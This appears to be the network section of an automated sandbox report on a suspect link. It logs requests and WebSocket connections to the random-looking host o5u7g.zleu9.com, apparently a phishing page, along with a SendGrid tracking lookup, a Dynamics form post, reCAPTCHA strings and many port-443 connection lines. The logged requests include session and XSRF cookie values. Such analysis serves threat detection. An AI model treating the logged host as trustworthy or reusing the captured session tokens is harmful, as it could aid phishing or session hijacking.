Source: global traffic	HTTP traffic detected: GET /uvrv0nvmDOsXHKV34pwPipAsKsHSlDlCvdeuw2pQxymnju5Vc2hvOQdNMRr6sQunMUef253 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3DSec-WebSocket-Key: mqyBpFEgVFWIajovKkKcMQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3DSec-WebSocket-Key: 2/R9dhdnlEZLrjgMmsXY/g==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3DSec-WebSocket-Key: 5zY/EatM12CzwHGjI0DyMw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3DSec-WebSocket-Key: wiTtKCThPOjFvXPNgT3XHg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Source: unknown

DNS traffic detected: queries for: u44056869.ct.sendgrid.net

Source: unknown

HTTP traffic detected: POST /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveContent-Length: 153sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://assets-usa.mkt.dynamics.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 06:21:16 GMTContent-Type: text/htmlContent-Length: 548Connection: closeStrict-Transport-Security: max-age=2592000; preloadx-azure-ref: 20240424T062116Z-168bb8d798bwftzb2az14uh0u0000000059000000000hr7zx-fd-int-roxy-purgeid: 69094450X-Cache: TCP_MISS
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 24 Apr 2024 06:21:22 GMTContent-Length: 0Connection: closex-ms-trace-id: 092e1614cf44026a964feea40a9be67dStrict-Transport-Security: max-age=2592000; preload
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 06:21:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5O5X6EfqLsJZozrSmIps6OCiBy71mqFGK58Z8g76jsnH3koVfMAUf%2Fz18OES8oq4qcGr1GoqPBnpZzIshA6Sg5mQ7Pa%2FUKg%2Fwhz0fWCyd5FR9%2BDUVnZAkrq5mwU%2BZw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 8793fe8338cb69a4-LAX
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 06:21:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uKQRY4faD5ZCPrPtCF9RabYRz4gxRVEm0Pdalukz73MaGwgRQgka6lKzIYsO6jf52ix9rNoCRpFdJcq6r%2BFQq9LCir1EbC6JI9YDtieZ01t6L3iv1FXNjyiStYTk3A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8793ff0d2ebf0910-LAX
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 06:22:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mLkS08kwFgyfmI7LZC0H%2FqgInQbK7vITA%2Fswk%2BrOIX6Cu0cuxja0H7YdzzA1FC0cSZIfGaRd7P2OcqeDABlH66kYU2RnYax8r5D%2FEUt%2F03Ci%2BJ6P6RPOJg5QnxHQDw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8793ff28cb9e092e-LAX

Source: chromecache_105.2.dr, chromecache_76.2.dr, chromecache_107.2.dr	String found in binary or memory: https://O5u7G.zleu9.com/O5u7Gw/
Source: chromecache_100.2.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3
Source: chromecache_105.2.dr, chromecache_76.2.dr, chromecache_107.2.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ec
Source: chromecache_99.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_99.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_100.2.dr	String found in binary or memory: https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js
Source: chromecache_99.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_99.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_99.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_99.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_100.2.dr	String found in binary or memory: https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpagefo
Source: chromecache_99.2.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_99.2.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_99.2.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_99.2.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_99.2.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_99.2.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: chromecache_92.2.dr, chromecache_99.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_99.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.
Source: chromecache_92.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

